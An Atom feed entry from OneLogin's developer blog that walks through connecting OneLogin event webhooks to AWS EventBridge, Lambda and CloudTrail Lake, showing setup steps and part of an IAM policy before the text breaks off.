<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>OneLogin Developers</title>
    <subtitle>OneLogin developer documentation, API reference, and resources</subtitle>
    <link rel="self" type="application/atom+xml" href="https://developers.onelogin.com/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://developers.onelogin.com"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2023-02-07T00:00:00+00:00</updated>
    <id>https://developers.onelogin.com/atom.xml</id>
    <entry xml:lang="en">
        <title>Integrating OneLogin with AWS CloudTrail Lake</title>
        <published>2023-02-07T00:00:00+00:00</published>
        <updated>2023-02-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/aws-cloudtrail-lake/"/>
        <id>https://developers.onelogin.com/blog/aws-cloudtrail-lake/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/aws-cloudtrail-lake/">&lt;p&gt;One Identity is an integration partner with the new CloudTrail Lake service from Amazon Web Services (AWS). When OneLogin users generate activity within our platform, OneLogin can send event data via a predefined webhook to AWS EventBridge, which then triggers a lambda rule to store the event log in CloudTrail Lake. In this blog post, I’ll walk you through how to create this integration between your One Identity OneLogin tenant and AWS CloudTrail Lake.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;awsctl-int-flow.jpg&quot; width=&quot;99%&quot; alt=&quot;Integration Flow&quot;&gt;&lt;&#x2F;p&gt;
&lt;div style=&quot;margin:10px; padding:10px; width: -moz-fit-content; width: fit-content; border:solid #aaa; border-radius:25px;&quot;&gt;
&lt;p&gt;Before we begin, you&#x27;ll need to know your &lt;strong&gt;AWS account number&lt;&#x2F;strong&gt; and to decide how long your event store should retain events (up to 7 years). As we go, you&#x27;ll be naming a lot of new tools that you&#x27;ll reuse throughout the course of this process, so it&#x27;s a good idea to plan these identifiers in advance. I&#x27;ve listed the names that I used here, and will &lt;mark&gt;highlight them&lt;&#x2F;mark&gt; through the rest of this post so you know where to substitute your own.&lt;&#x2F;p&gt;
&lt;table class=&quot;table table-striped&quot; width=&quot;99%&quot;&gt;
&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Identifier&lt;&#x2F;th&gt;&lt;th&gt;Example&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;th&gt;AWS CloudTrail Lake Event Store&lt;&#x2F;th&gt;&lt;td&gt;onelogin-event-data-store&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;th&gt;AWS Event Store Channel&lt;&#x2F;th&gt;&lt;td&gt;onelogin-event-channel&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;th&gt;AWS IAM Lambda Policy&lt;&#x2F;th&gt;&lt;td&gt;LambdaCloudTrailLakePolicy&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;th&gt;AWS IAM Lambda Role&lt;&#x2F;th&gt;&lt;td&gt;lambda-cloudtraillake-role&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;th&gt;AWS EventBridge Rule&lt;&#x2F;th&gt;&lt;td&gt;onelogin-events&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;th&gt;AWS Lambda Function&lt;&#x2F;th&gt;&lt;td&gt;OneLoginCloudTrailLakeConnector&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;th&gt;OneLogin EventBridge Webhook&lt;&#x2F;th&gt;&lt;td&gt;CloudTrailLake-Connector&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;
&lt;&#x2F;table&gt;&lt;&#x2F;div&gt;
&lt;br &#x2F;&gt;
&lt;p&gt;Let&#x27;s get started!&lt;&#x2F;p&gt;&lt;br &#x2F;&gt;&lt;hr &#x2F;&gt;&lt;br &#x2F;&gt;
# Step 1: Create the CloudTrail Lake Event Data Store and Channel in AWS
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;In your AWS Management Console, use the search bar to navigate to &lt;strong&gt;CloudTrail&lt;&#x2F;strong&gt;, then select &lt;strong&gt;Event data stores&lt;&#x2F;strong&gt; in the &lt;strong&gt;Lake&lt;&#x2F;strong&gt; feature.&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;Select &lt;strong&gt;Create event data store&lt;&#x2F;strong&gt; and name it &lt;mark&gt;onelogin-event-data-store&lt;&#x2F;mark&gt;.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Select your preferred retention period.&lt;&#x2F;li&gt;
&lt;li&gt;For &lt;strong&gt;Event types&lt;&#x2F;strong&gt;, choose &lt;em&gt;Events from integration&lt;&#x2F;em&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Select &lt;em&gt;One Identity&lt;&#x2F;em&gt; as your source.&lt;&#x2F;li&gt;
&lt;li&gt;Enter your event channel name.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;Select your new event data store and copy the value in the &lt;strong&gt;Channel Arn&lt;&#x2F;strong&gt; field for later reference. It should look something like this:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;arn:aws:cloudtrail:us-east-1:123456789012:channel&#x2F;3f212354-317c-4209-9341-631210ebc1aa&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;&lt;br &#x2F;&gt;&lt;hr &#x2F;&gt;&lt;br &#x2F;&gt;
# Step 2: Create the necessary roles and policies in AWS
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Create an IAM policy with JSON like this:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Version&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;2012-10-17&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Statement&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Effect&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Allow&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Action&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:CreateEventDataStore&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:UpdateEventDataStore&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:DeleteEventDataStore&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:ListEventDataStores&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:RestoreEventDataStore&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:GetEventDataStore&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:StartQuery&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:ListQueries&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:CancelQuery&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:DescribeQuery&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:GetQueryResults&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:CreateChannel&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:UpdateChannel&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:DeleteChannel&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:GetChannel&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:ListChannels&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:PutResourcePolicy&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:GetResourcePolicy&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail:DeleteResourcePolicy&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ]&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Resource&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Effect&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Allow&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Action&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cloudtrail-data:PutAuditEvents&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Resource&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Effect&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Allow&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Action&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;iam:ListRoles&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;iam:GetRolePolicy&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;                &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;iam:GetUser&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ]&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;Resource&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
